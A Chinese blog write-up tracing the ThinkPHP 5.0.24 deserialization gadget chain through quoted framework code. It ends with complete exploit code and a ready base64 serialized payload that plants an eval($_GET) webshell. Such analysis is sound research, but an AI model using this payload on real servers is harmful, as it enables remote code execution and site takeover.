Thinkphp 5.0.24 反序列化利用链

thinkphp/library/think/process/pipes/Windows.php

public function __destruct()
{
$this->close();
$this->removeFiles(); //跟
}
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) { //触发__toString方法
@unlink($filename);
}
}
$this->files = [];
}

thinkphp/library/think/Model.php,该Model是抽象类所以需要一个子类进行引用

public function __toString()
{
return $this->toJson(); // 跟
}
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options); // 跟
}
public function toArray()
{
...
if (!empty($this->append)) { // $this->append可控,可以设置为'bb' => 'getError'
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false); //返回 $this->append中的值,也就是getError
if (method_exists($this, $relation)) { //判断方法是否存在该类
$modelRelation = $this->$relation(); // $relation=getError方法,该方法中$this->error可控,设置为 BelongsTo 类
$value = $this->getRelationData($modelRelation); // $data来自这,getRelationData方法中调用$modelRelation中的getRelation方法,其中getRelation方法的query属性可控,导致触发query的__call方法
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
....

接着就会来到BelongTo类中的getRelation方法,这里的$this->query可控,所以我们找一个没有removeWhereField方法并且存在__call方法的类来作为$this->query,这里挑选了Output类

public function getRelation($subRelation = '', $closure = null)
{
$foreignKey = $this->foreignKey;
if ($closure) {
call_user_func_array($closure, [ & $this->query]);
}
$relationModel = $this->query
->removeWhereField($this->localKey) //当调用BelongsTo类中的removeWhereField的时候进行触发,但是BelongsTo中不存在removeWhereField,所以触发该query类中的__call方法,这里的query可控!
->where($this->localKey, $this->parent->$foreignKey)
->relation($subRelation)
->find();
if ($relationModel) {
$relationModel->setParent(clone $this->parent);
}
return $relationModel;
}

Output类中的__call

thinkphp/library/think/console/Output.php

public function __call($method, $args) //这里调用
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args); //首先会调用block
}
if ($this->handle && method_exists($this->handle, $method)) { // $this->handle可控
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>"); //跟
}
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type); //跟
}
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type); //这里的$this->handle可控,所以又可以调用任意类中的public方法,全局搜索"->write(",来寻找调用write的类
}

Memchache类

thinkphp/library/think/session/driver/Memcache.php

public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']); //这里的$this->handle可控 全局搜索可控类中的set方法
}

Memcached类

thinkphp/library/think/cache/driver/Memcached.php

public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
if ($this->tag && !$this->has($name)) {
$first = true;
}
$key = $this->getCacheKey($name);
$expire = 0 == $expire ? 0 : $_SERVER['REQUEST_TIME'] + $expire;
if ($this->handler->set($key, $value, $expire)) { //这里的$this->handler同样可控,所以全局搜索调用set方法的类
isset($first) && $this->setTagItem($key); //这里其中还有继续调用set方法
return true;
}
return false;
}

thinkphp/library/think/cache/driver/File.php

public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true); //定义文件名
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data); //这里能够写入文件,但是这里的$data无法不可控
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}

上面的函数走完出来之后 又回到set方法中调用setTagItem

protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0); //这里又会进行调用 然后成功写入
}
}
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
if ($this->tag && !$this->has($name)) {
$first = true;
}
$key = $this->getCacheKey($name);
$expire = 0 == $expire ? 0 : $_SERVER['REQUEST_TIME'] + $expire;
if ($this->handler->set($key, $value, $expire)) { //这里的$this->handler同样可控,所以全局搜索调用set方法的类,出来后接着下面
isset($first) && $this->setTagItem($key); //这里其中还有继续调用set方法
return true;
}
return false;
}

exp:

<?php
namespace think\process\pipes;
class Windows
{
private $files = [];
public function __construct()
{
$this->files = [new \think\model\Merge];
}
}
namespace think\model;
use think\Model;
class Merge extends Model
{
protected $append = [];
protected $error;
public function __construct()
{
$this->append = [
'bb' => 'getError'
];
$this->error = (new \think\model\relation\BelongsTo);
}
}
namespace think;
class Model{}
namespace think\console;
class Output
{
protected $styles = [];
private $handle = null;
public function __construct()
{
$this->styles = ['removeWhereField'];
$this->handle = (new \think\session\driver\Memcache);
}
}
namespace think\model\relation;
class BelongsTo
{
protected $query;
public function __construct()
{
$this->query = (new \think\console\Output);
}
}
namespace think\session\driver;
class Memcache
{
protected $handler = null;
public function __construct()
{
$this->handler = (new \think\cache\driver\Memcached);
}
}
namespace think\cache\driver;
class Memcached
{
protected $tag;
protected $options = [];
protected $handler = null;
public function __construct()
{
$this->tag = true;
$this->options = [
'expire' => 0,
'prefix' => 'PD9waHAKZXZhbCgkX0dFVFsnYSddKTsKPz4',
];
$this->handler = (new File);
}
}
class File
{
protected $tag;
protected $options = [];
public function __construct()
{
$this->tag = false;
$this->options = [
'expire' => 3600,
'cache_subdir' => false,
'prefix' => '',
'data_compress' => false,
'path' => 'php://filter/convert.base64-decode/resource=./',
];
}
}
echo base64_encode(serialize(new \think\process\pipes\Windows));
//TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxNZXJnZSI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czoyOiJiYiI7czo4OiJnZXRFcnJvciI7fXM6ODoiACoAZXJyb3IiO086MzA6InRoaW5rXG1vZGVsXHJlbGF0aW9uXEJlbG9uZ3NUbyI6MTp7czo4OiIAKgBxdWVyeSI7TzoyMDoidGhpbmtcY29uc29sZVxPdXRwdXQiOjI6e3M6OToiACoAc3R5bGVzIjthOjE6e2k6MDtzOjE2OiJyZW1vdmVXaGVyZUZpZWxkIjt9czoyODoiAHRoaW5rXGNvbnNvbGVcT3V0cHV0AGhhbmRsZSI7TzoyOToidGhpbmtcc2Vzc2lvblxkcml2ZXJcTWVtY2FjaGUiOjE6e3M6MTA6IgAqAGhhbmRsZXIiO086Mjg6InRoaW5rXGNhY2hlXGRyaXZlclxNZW1jYWNoZWQiOjM6e3M6NjoiACoAdGFnIjtiOjE7czoxMDoiACoAb3B0aW9ucyI7YToyOntzOjY6ImV4cGlyZSI7aTowO3M6NjoicHJlZml4IjtzOjM1OiJQRDl3YUhBS1pYWmhiQ2drWDBkRlZGc25ZU2RkS1RzS1B6NCI7fXM6MTA6IgAqAGhhbmRsZXIiO086MjM6InRoaW5rXGNhY2hlXGRyaXZlclxGaWxlIjoyOntzOjY6IgAqAHRhZyI7YjowO3M6MTA6IgAqAG9wdGlvbnMiO2E6NTp7czo2OiJleHBpcmUiO2k6MzYwMDtzOjEyOiJjYWNoZV9zdWJkaXIiO2I6MDtzOjY6InByZWZpeCI7czowOiIiO3M6MTM6ImRhdGFfY29tcHJlc3MiO2I6MDtzOjQ6InBhdGgiO3M6NDY6InBocDovL2ZpbHRlci9jb252ZXJ0LmJhc2U2NC1kZWNvZGUvcmVzb3VyY2U9Li8iO319fX19fX19fQ==

参考文章:https://www.cnblogs.com/xiaozhiru/p/12452528.html

还有一个方法是文章:https://www.anquanke.com/post/id/196364

这篇文件走的地方有点不同,走的是Model中的$item[$key] = $value ? $value->getAttr($attr) : null,getError方法中返回的是HasOne类

posted @   zpchcbd  阅读(3954)  评论(1编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示